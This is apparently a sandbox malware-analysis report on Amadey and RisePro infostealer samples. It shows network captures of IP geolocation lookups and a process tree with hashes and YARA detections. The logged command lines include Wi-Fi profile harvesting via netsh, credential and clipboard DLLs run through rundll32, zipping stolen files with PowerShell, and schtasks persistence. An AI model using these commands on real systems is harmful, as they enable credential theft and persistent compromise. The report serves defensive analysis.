Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.5	49874	34.117.186.192	443	7476	C:\Users\user\AppData\Local\Temp\1000056001\c884f8452a.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-19 01:30:05 UTC	237	OUT	GET /widget/demo/81.181.57.52 HTTP/1.1 Connection: Keep-Alive Referer: https://ipinfo.io/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: ipinfo.io
2024-04-19 01:30:05 UTC	513	IN	HTTP/1.1 200 OK server: nginx/1.24.0 date: Fri, 19 Apr 2024 01:30:05 GMT content-type: application/json; charset=utf-8 Content-Length: 980 access-control-allow-origin: * x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block x-content-type-options: nosniff referrer-policy: strict-origin-when-cross-origin x-envoy-upstream-service-time: 2 via: 1.1 google strict-transport-security: max-age=2592000; includeSubDomains Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-04-19 01:30:05 UTC	742	IN	Data Raw: 7b 0a 20 20 22 69 6e 70 75 74 22 3a 20 22 38 31 2e 31 38 31 2e 35 37 2e 35 32 22 2c 0a 20 20 22 64 61 74 61 22 3a 20 7b 0a 20 20 20 20 22 69 70 22 3a 20 22 38 31 2e 31 38 31 2e 35 37 2e 35 32 22 2c 0a 20 20 20 20 22 63 69 74 79 22 3a 20 22 41 74 6c 61 6e 74 61 22 2c 0a 20 20 20 20 22 72 65 67 69 6f 6e 22 3a 20 22 47 65 6f 72 67 69 61 22 2c 0a 20 20 20 20 22 63 6f 75 6e 74 72 79 22 3a 20 22 55 53 22 2c 0a 20 20 20 20 22 6c 6f 63 22 3a 20 22 33 33 2e 37 34 39 30 2c 2d 38 34 2e 33 38 38 30 22 2c 0a 20 20 20 20 22 6f 72 67 22 3a 20 22 41 53 32 31 32 32 33 38 20 44 61 74 61 63 61 6d 70 20 4c 69 6d 69 74 65 64 22 2c 0a 20 20 20 20 22 70 6f 73 74 61 6c 22 3a 20 22 33 30 33 30 32 22 2c 0a 20 20 20 20 22 74 69 6d 65 7a 6f 6e 65 22 3a 20 22 41 6d 65 72 69 63 61 2f Data Ascii: { "input": "81.181.57.52", "data": { "ip": "81.181.57.52", "city": "Atlanta", "region": "Georgia", "country": "US", "loc": "33.7490,-84.3880", "org": "AS212238 Datacamp Limited", "postal": "30302", "timezone": "America/
2024-04-19 01:30:05 UTC	238	IN	Data Raw: 61 64 64 72 65 73 73 22 3a 20 22 41 76 65 72 65 73 63 75 20 4d 61 72 65 73 61 6c 20 38 2d 31 30 2c 20 42 75 63 68 61 72 65 73 74 2c 20 52 6f 6d 61 6e 69 61 22 2c 0a 20 20 20 20 20 20 22 63 6f 75 6e 74 72 79 22 3a 20 22 52 4f 22 2c 0a 20 20 20 20 20 20 22 65 6d 61 69 6c 22 3a 20 22 61 62 75 73 65 2d 62 69 6e 62 6f 78 40 72 6e 63 2e 72 6f 22 2c 0a 20 20 20 20 20 20 22 6e 61 6d 65 22 3a 20 22 41 62 75 73 65 20 63 6f 6e 74 61 63 74 20 72 6f 6c 65 20 6f 62 6a 65 63 74 22 2c 0a 20 20 20 20 20 20 22 6e 65 74 77 6f 72 6b 22 3a 20 22 38 31 2e 31 38 31 2e 34 38 2e 30 2f 32 30 22 2c 0a 20 20 20 20 20 20 22 70 68 6f 6e 65 22 3a 20 22 2b 34 30 20 33 37 38 20 36 30 30 20 30 30 30 22 0a 20 20 20 20 7d 0a 20 20 7d 0a 7d Data Ascii: address": "Averescu Maresal 8-10, Bucharest, Romania", "country": "RO", "email": "abuse-binbox@rnc.ro", "name": "Abuse contact role object", "network": "81.181.48.0/20", "phone": "+40 378 600 000" } }}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.5	49878	104.26.5.15	443	7476	C:\Users\user\AppData\Local\Temp\1000056001\c884f8452a.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-19 01:30:05 UTC	261	OUT	GET /demo/home.php?s=81.181.57.52 HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: db-ip.com
2024-04-19 01:30:05 UTC	654	IN	HTTP/1.1 200 OK Date: Fri, 19 Apr 2024 01:30:05 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close x-iplb-request-id: AC4546DE:9DC0_93878F2E:0050_6621C91D_8C5D355:7B63 x-iplb-instance: 59128 CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=uvC68%2BGzSO%2FFqbJpGfiCrT57xqq5L2O3mBSD3UZIxUorJqEarsPEfE57UjLXgBipg1I8kj4ATRZ4lZ0UqW8k%2FtRupcXT4psTNAHy8gtuZfeRsWFJ5IbRdh81wg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87692099b85144f1-ATL alt-svc: h3=":443"; ma=86400
2024-04-19 01:30:05 UTC	85	IN	Data Raw: 34 66 0d 0a 7b 22 73 74 61 74 75 73 22 3a 22 6f 6b 22 2c 22 64 65 6d 6f 49 6e 66 6f 22 3a 7b 22 65 72 72 6f 72 22 3a 22 6f 76 65 72 20 71 75 65 72 79 20 6c 69 6d 69 74 2c 20 70 6c 65 61 73 65 20 74 72 79 20 61 67 61 69 6e 20 6c 61 74 65 72 22 7d 7d 0d 0a Data Ascii: 4f{"status":"ok","demoInfo":{"error":"over query limit, please try again later"}}
2024-04-19 01:30:05 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
37	192.168.2.5	49923	34.117.186.192	443

Timestamp	Bytes transferred	Direction	Data
2024-04-19 01:30:17 UTC	237	OUT	GET /widget/demo/81.181.57.52 HTTP/1.1 Connection: Keep-Alive Referer: https://ipinfo.io/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: ipinfo.io
2024-04-19 01:30:17 UTC	513	IN	HTTP/1.1 200 OK server: nginx/1.24.0 date: Fri, 19 Apr 2024 01:30:17 GMT content-type: application/json; charset=utf-8 Content-Length: 980 access-control-allow-origin: * x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block x-content-type-options: nosniff referrer-policy: strict-origin-when-cross-origin x-envoy-upstream-service-time: 4 via: 1.1 google strict-transport-security: max-age=2592000; includeSubDomains Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-04-19 01:30:17 UTC	742	IN	Data Raw: 7b 0a 20 20 22 69 6e 70 75 74 22 3a 20 22 38 31 2e 31 38 31 2e 35 37 2e 35 32 22 2c 0a 20 20 22 64 61 74 61 22 3a 20 7b 0a 20 20 20 20 22 69 70 22 3a 20 22 38 31 2e 31 38 31 2e 35 37 2e 35 32 22 2c 0a 20 20 20 20 22 63 69 74 79 22 3a 20 22 41 74 6c 61 6e 74 61 22 2c 0a 20 20 20 20 22 72 65 67 69 6f 6e 22 3a 20 22 47 65 6f 72 67 69 61 22 2c 0a 20 20 20 20 22 63 6f 75 6e 74 72 79 22 3a 20 22 55 53 22 2c 0a 20 20 20 20 22 6c 6f 63 22 3a 20 22 33 33 2e 37 34 39 30 2c 2d 38 34 2e 33 38 38 30 22 2c 0a 20 20 20 20 22 6f 72 67 22 3a 20 22 41 53 32 31 32 32 33 38 20 44 61 74 61 63 61 6d 70 20 4c 69 6d 69 74 65 64 22 2c 0a 20 20 20 20 22 70 6f 73 74 61 6c 22 3a 20 22 33 30 33 30 32 22 2c 0a 20 20 20 20 22 74 69 6d 65 7a 6f 6e 65 22 3a 20 22 41 6d 65 72 69 63 61 2f Data Ascii: { "input": "81.181.57.52", "data": { "ip": "81.181.57.52", "city": "Atlanta", "region": "Georgia", "country": "US", "loc": "33.7490,-84.3880", "org": "AS212238 Datacamp Limited", "postal": "30302", "timezone": "America/
2024-04-19 01:30:17 UTC	238	IN	Data Raw: 61 64 64 72 65 73 73 22 3a 20 22 41 76 65 72 65 73 63 75 20 4d 61 72 65 73 61 6c 20 38 2d 31 30 2c 20 42 75 63 68 61 72 65 73 74 2c 20 52 6f 6d 61 6e 69 61 22 2c 0a 20 20 20 20 20 20 22 63 6f 75 6e 74 72 79 22 3a 20 22 52 4f 22 2c 0a 20 20 20 20 20 20 22 65 6d 61 69 6c 22 3a 20 22 61 62 75 73 65 2d 62 69 6e 62 6f 78 40 72 6e 63 2e 72 6f 22 2c 0a 20 20 20 20 20 20 22 6e 61 6d 65 22 3a 20 22 41 62 75 73 65 20 63 6f 6e 74 61 63 74 20 72 6f 6c 65 20 6f 62 6a 65 63 74 22 2c 0a 20 20 20 20 20 20 22 6e 65 74 77 6f 72 6b 22 3a 20 22 38 31 2e 31 38 31 2e 34 38 2e 30 2f 32 30 22 2c 0a 20 20 20 20 20 20 22 70 68 6f 6e 65 22 3a 20 22 2b 34 30 20 33 37 38 20 36 30 30 20 30 30 30 22 0a 20 20 20 20 7d 0a 20 20 7d 0a 7d Data Ascii: address": "Averescu Maresal 8-10, Bucharest, Romania", "country": "RO", "email": "abuse-binbox@rnc.ro", "name": "Abuse contact role object", "network": "81.181.48.0/20", "phone": "+40 378 600 000" } }}

Session ID	Source IP	Source Port	Destination IP	Destination Port
38	192.168.2.5	49925	104.26.5.15	443

Timestamp	Bytes transferred	Direction	Data
2024-04-19 01:30:17 UTC	261	OUT	GET /demo/home.php?s=81.181.57.52 HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: db-ip.com
2024-04-19 01:30:18 UTC	650	IN	HTTP/1.1 200 OK Date: Fri, 19 Apr 2024 01:30:18 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close x-iplb-request-id: AC471F97:A928_93878F2E:0050_6621C92A_8C5D50E:7B63 x-iplb-instance: 59128 CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=eYv05HjRhLHsdVz1gxyROdeitHSLFuKQwi1zS3%2BGWpbkfuD5Jie98lXhCBpNKKVNoSrBNCi38PA6AbprqfWfMozsFi7IwIPYPFUK2YNNpGKNkoMi0kaNCdPQcw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 876920e6bb36ada7-ATL alt-svc: h3=":443"; ma=86400
2024-04-19 01:30:18 UTC	85	IN	Data Raw: 34 66 0d 0a 7b 22 73 74 61 74 75 73 22 3a 22 6f 6b 22 2c 22 64 65 6d 6f 49 6e 66 6f 22 3a 7b 22 65 72 72 6f 72 22 3a 22 6f 76 65 72 20 71 75 65 72 79 20 6c 69 6d 69 74 2c 20 70 6c 65 61 73 65 20 74 72 79 20 61 67 61 69 6e 20 6c 61 74 65 72 22 7d 7d 0d 0a Data Ascii: 4f{"status":"ok","demoInfo":{"error":"over query limit, please try again later"}}
2024-04-19 01:30:18 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
39	192.168.2.5	50555	20.189.173.25	443

Timestamp	Bytes transferred	Direction	Data
2024-04-19 01:33:14 UTC	828	OUT	POST /OneCollector/1.0/ HTTP/1.1 Accept: / APIKey: cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521 AuthMsaDeviceTicket: t=GwAWAbuEBAAU2qcZHJoKGNizGOeyqM4OaIoSZ0MOZgAAENhIsZk1icdmK4NNtUk6KLPgAMvy17Udgd1MlHE7GXRAxu9wDd84HaOk1nGIMKru6radFnZDfu7zWhcmz9j72MdI/lM5JykN5JyMCsrKKjhnWsxMrSmUTHFAm4lCtsR/4kXJ5OVGBubVm1qKlLaqfTPe4/QIS6EsPZhp2A+GbXPmd9v7KWe0y9ZBVkGnVgT2XAL69MHD65Z2sZ/bvdyK2Z9GRgl5dhajOwb9unLzQz2LihgZzhVMiIEIlP0Ox0qtNEB072yB6rGFSpbQMfXp3Qm9wrLMHPG0cNIMKQ3+lgA3sY/VTGnPGJVnsHSsfW8D9dyBIAE=&p= Client-Id: NO_AUTH Content-Encoding: deflate Content-Type: application/bond-compact-binary Expect: 100-continue SDK-Version: EVT-Windows-C++-No-3.4.15.1 Upload-Time: 1713490393138 Host: self.events.data.microsoft.com Content-Length: 7974 Connection: Keep-Alive Cache-Control: no-cache
2024-04-19 01:33:14 UTC	7974	OUT	Data Raw: ed 7c 5b ac 5c d7 79 de e8 12 96 a2 28 8a 96 64 59 92 15 8b 11 64 d7 8a 67 4e d7 fd 32 68 10 53 3c 94 45 57 34 15 1e 4a b2 03 04 ec 9e 99 7d 66 36 39 33 fb 68 2e bc 08 79 10 dc 22 40 0a a4 28 03 14 28 fa 64 f4 21 b0 80 5e f2 d0 a2 48 9e f2 10 20 75 99 87 14 05 fa 92 16 68 0b f4 a5 4f 41 d1 f6 a5 05 da ef 5f fb b6 66 f1 88 76 0c 43 88 01 1e 90 3c fc d7 5a 7b 5d ff ff fb bf 7f ad b5 f7 9b 4f c8 3d 76 49 5d 39 3c 2c c6 f9 f5 83 bb eb 4d be a8 7f bd 93 67 f3 cd ec 72 be c9 26 d9 26 db cf 6f a1 c4 85 72 b9 2e e7 05 12 f2 c9 47 7f f6 af ff c3 bf f8 7f 7f e7 f7 ff e3 17 3e 7d bd 1c 8e 27 4e 1a 23 8c e1 7c ac c6 59 96 b9 c3 b1 1e 89 dc 0a 97 e7 8e 4f fe dd 89 ef 3f 79 ff 8b a7 1e 2b 4e 7f 70 f9 76 b6 ca fb e7 2e 2d c7 7b bf 7d aa 92 04 eb f3 de fd 17 4f 3d d6 bb Data Ascii: \|[\y(dYdgN2hS<EW4J}f693h.y"@((d!^H uhOA_fvC<Z{]O=vI]9<,Mgr&&or.G>}'N#\|YO?y+Npv.-{}O=
2024-04-19 01:33:14 UTC	25	IN	HTTP/1.1 100 Continue
2024-04-19 01:33:14 UTC	443	IN	HTTP/1.1 200 OK Content-Length: 9 Content-Type: application/json Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 time-delta-millis: 1217 Access-Control-Allow-Headers: time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: * Access-Control-Expose-Headers: time-delta-millis Date: Fri, 19 Apr 2024 01:33:14 GMT Connection: close {"acc":4}

Target ID:	0
Start time:	03:27:56
Start date:	19/04/2024
Path:	C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe"
Imagebase:	0xb80000
File size:	2'962'432 bytes
MD5 hash:	F854143C49C4D2FA4CF73BAB97BA8D3A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000000.00000003.2052123987.0000000004FE0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000000.00000002.2139306429.0000000000B81000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	03:28:00
Start date:	19/04/2024
Path:	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe
Imagebase:	0x700000
File size:	2'962'432 bytes
MD5 hash:	F854143C49C4D2FA4CF73BAB97BA8D3A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000002.00000002.2130672754.0000000000701000.00000040.00000001.01000000.00000008.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000002.00000003.2089957305.00000000046B0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 50%, ReversingLabs Detection: 54%, Virustotal, Browse
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	03:28:02
Start date:	19/04/2024
Path:	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe"
Imagebase:	0x700000
File size:	2'962'432 bytes
MD5 hash:	F854143C49C4D2FA4CF73BAB97BA8D3A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000003.00000002.2151058621.0000000000701000.00000040.00000001.01000000.00000008.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000003.00000003.2110741282.0000000004D70000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	03:29:00
Start date:	19/04/2024
Path:	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe
Imagebase:	0x700000
File size:	2'962'432 bytes
MD5 hash:	F854143C49C4D2FA4CF73BAB97BA8D3A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000006.00000003.2687465416.0000000004F30000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	7
Start time:	03:29:05
Start date:	19/04/2024
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\rundll32.exe" C:\Users\user\AppData\Roaming\a091ec0a6e2227\cred64.dll, Main
Imagebase:	0xb90000
File size:	61'440 bytes
MD5 hash:	889B99C52A60DD49227C5E485A016679
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	03:29:06
Start date:	19/04/2024
Path:	C:\Windows\System32\rundll32.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\rundll32.exe" C:\Users\user\AppData\Roaming\a091ec0a6e2227\cred64.dll, Main
Imagebase:	0x7ff6e2750000
File size:	71'680 bytes
MD5 hash:	EF3179D498793BF4234F708D3BE28633
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	03:29:06
Start date:	19/04/2024
Path:	C:\Windows\System32\netsh.exe
Wow64 process (32bit):	false
Commandline:	netsh wlan show profiles
Imagebase:	0x7ff6632b0000
File size:	96'768 bytes
MD5 hash:	6F1E6DD688818BC3D1391D0CC7D597EB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	03:29:06
Start date:	19/04/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	03:29:07
Start date:	19/04/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell -Command Compress-Archive -Path 'C:\Users\user\AppData\Local\Temp\_Files_\' -DestinationPath 'C:\Users\user\AppData\Local\Temp\246122658369_Desktop.zip' -CompressionLevel Optimal
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	03:29:07
Start date:	19/04/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	03:29:07
Start date:	19/04/2024
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\rundll32.exe" C:\Users\user\AppData\Roaming\a091ec0a6e2227\clip64.dll, Main
Imagebase:	0xb90000
File size:	61'440 bytes
MD5 hash:	889B99C52A60DD49227C5E485A016679
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	14
Start time:	03:29:10
Start date:	19/04/2024
Path:	C:\Users\user\AppData\Local\Temp\1000054001\amert.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1000054001\amert.exe"
Imagebase:	0x360000
File size:	1'905'152 bytes
MD5 hash:	339020815B65530333BF2DDC928AC867
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000000E.00000003.2792595641.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000000E.00000002.2839016933.0000000000361000.00000040.00000001.01000000.0000000F.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 43%, Virustotal, Browse
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	03:29:13
Start date:	19/04/2024
Path:	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe
Imagebase:	0x70000
File size:	1'905'152 bytes
MD5 hash:	339020815B65530333BF2DDC928AC867
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000000F.00000003.2831581300.00000000052C0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000000F.00000002.2880613801.0000000000071000.00000040.00000001.01000000.00000010.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 43%, Virustotal, Browse
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	03:29:14
Start date:	19/04/2024
Path:	C:\Users\user\AppData\Local\Temp\1000055001\831840b410.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1000055001\831840b410.exe"
Imagebase:	0xca0000
File size:	1'166'336 bytes
MD5 hash:	FB666C3917F960FD67DF0C2C8829D77F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 33%, Virustotal, Browse
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	03:29:14
Start date:	19/04/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" https://www.youtube.com/account
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	18
Start time:	03:29:15
Start date:	19/04/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff7e52b0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	19
Start time:	03:29:15
Start date:	19/04/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2172 --field-trial-handle=1920,i,17797173087143306694,7612419587186816950,262144 /prefetch:8
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	03:29:19
Start date:	19/04/2024
Path:	C:\Users\user\AppData\Local\Temp\1000056001\c884f8452a.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1000056001\c884f8452a.exe"
Imagebase:	0xaa0000
File size:	2'295'808 bytes
MD5 hash:	52257E8159B53FFB0F4E7CAE516DC107
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_RiseProStealer, Description: Yara detected RisePro Stealer, Source: 00000014.00000003.2883884113.0000000005380000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RiseProStealer, Description: Yara detected RisePro Stealer, Source: 00000014.00000002.3269708121.0000000000AA1000.00000040.00000001.01000000.00000014.sdmp, Author: Joe Security Rule: JoeSecurity_RiseProStealer, Description: Yara detected RisePro Stealer, Source: 00000014.00000003.2990613852.0000000007EE5000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RiseProStealer, Description: Yara detected RisePro Stealer, Source: 00000014.00000002.3280096095.0000000007EE5000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000014.00000002.3272062949.00000000016CC000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 51%, Virustotal, Browse
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	22
Start time:	03:29:22
Start date:	19/04/2024
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	schtasks /create /f /RU "user" /tr "C:\ProgramData\MPGPH131\MPGPH131.exe" /tn "MPGPH131 HR" /sc HOURLY /rl HIGHEST
Imagebase:	0xf00000
File size:	187'904 bytes
MD5 hash:	48C2FE20575769DE916F48EF0676A965
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	03:29:22
Start date:	19/04/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	03:29:22
Start date:	19/04/2024
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	schtasks /create /f /RU "user" /tr "C:\ProgramData\MPGPH131\MPGPH131.exe" /tn "MPGPH131 LG" /sc ONLOGON /rl HIGHEST
Imagebase:	0xf00000
File size:	187'904 bytes
MD5 hash:	48C2FE20575769DE916F48EF0676A965
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	03:29:22
Start date:	19/04/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	03:29:22
Start date:	19/04/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
